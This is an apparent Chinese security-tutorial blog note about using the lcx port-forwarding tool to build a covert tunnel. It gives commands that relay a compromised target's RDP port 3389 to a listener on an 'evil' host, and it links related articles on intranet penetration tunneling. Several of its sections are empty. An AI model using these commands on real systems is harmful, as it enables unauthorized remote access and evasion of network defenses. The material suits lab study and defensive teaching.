郑重声明：
本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。

隐藏隧道通信：lcx 端口转发

1 lcx 端口转发原理
2 实验环境
3 配置服务端
4 配置客户端

1 lcx 端口转发原理

lcx 是基于 Socket 套接字实现的端口转发工具，Windows 版本名称为 LCX、Linux 版本为 portmap。

一个基本的 Socket 隧道必须包含两端：

服务端：监听一个端口，等待客户端连接
客户端：通过传入服务端的 IP 地址和端口，与服务端建立连接。

lcx.exe -h
[Usage of Packet Transmit:]lcx.exe -<listen|tran|slave> <option> [-log logfile][option:]-listen <ConnectPort> <TransmitPort>-tran   <ConnectPort> <TransmitHost> <TransmitPort> # 经测试无法过 nat 有点鸡肋。-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

2 实验环境

3 配置服务端

在 evil 主机上，将本机 4444 端口上监听的所有数据转发到本地的 13389 端口上

lcx.exe -listen 4444 13389

4 配置客户端

首先准备好一个具有公网 ip 的服务器，假定域名或者公网 ip 是 192.168.0.21
在目标机器上将 3389 端口的所有数据转发到恶意主机的 4444 端口上。

配置 LCX 端口转发

.\lcx.exe -slave 192.168.0.110 4444 127.0.0.1 3389

客户端与服务端建立通信连接
与远程主机建立远程桌面连接
- 客户端：
- 服务端：
抓包查看流量特征

隐藏隧道通信：lcx 端口转发相关推荐

隐藏隧道通信：HTTP/HTTPS 代理转发
郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. 隐藏 ...
lcx端口转发工具的使用
Linux版lcx端口转发工具使用 0x01 前言在实际情况中,web应用服务通常会被运行在内网机器上,然后通过端口映射到外网,供外网用户进行访问.如果我们已经攻破网站,拿到内网机器权限,通常会安装 ...
建立SSH隧道（SSH端口转发）
ssh隧道功能,也就是端口转发功能非常好用,可以实现一些代理功能或者是穿透内网功能. ssh的端口转发(或者叫做隧道)命令分为三种: 本地:ssh -C -f -N -g -L listen_port ...
内网渗透-端口转发隧道技术
文章目录代理和隧道技术区别隧道通信原理常用的隧道技术判断内网协议连通性 ICMP协议 TCP协议 telnet NC HTTP协议 curl Wget DNS协议 nslookup dig I ...
内网安全-流量隧道(一)不出网CS上线正反向端口转发
隧道技术概述: 在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 CS.MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等在实际的网络中,通常会通过各种边界设备 ...
SSH 端口转发多级端口转发
简介 SSH 除了登录服务器,还有一大用途,就是作为加密通信的中介,充当两台服务器之间的通信加密跳板,使得原本不加密的通信变成加密通信.这个功能称为端口转发(port forwarding),又称 S ...
linux远程ipv6端口,SSH端口转发笔记(ipv6 与端口映射)
端口转发概念端口转发或隧道,是一种通过SSH转发本来不安全的TCP通信的安全保护罩.您可以保护例如POP3,SMTP和HTTP连接,否则可能是不安全的.网络上什么人都有! 有两种类型的端口转发:本地 ...
一文彻底搞懂ssh的端口转发
文章目录背景什么是端口转发? 本地端口转发本地端口转发的语法场景1 场景二 ssh -L参数解释 ssh 远程端口的安全问题远程端口转发远程端口转发的语法场景一远程端口转发和本地端口转 ...
红蓝对抗之隧道技术第一篇（内网穿透、端口映射端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向）
文章目录隧道应用端口映射&端口转发 Netsh端口转发 Netsh端口转发meterpreter CS正向连接多层内网 CS反向连接多层内网 Burp设置上游代理访问内网 MSF prot ...
SSH隧道技术----端口转发，socket代理
原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众如果你遇到了以下问题,那么你应该阅读这篇文章我听说过这种技术,我对它很感兴趣我想在家里访问我在公司的机器(写 ...

隐藏隧道通信：lcx 端口转发

隐藏隧道通信：lcx 端口转发

1 lcx 端口转发原理

2 实验环境

3 配置服务端

4 配置客户端

隐藏隧道通信：lcx 端口转发相关推荐

最新文章

热门文章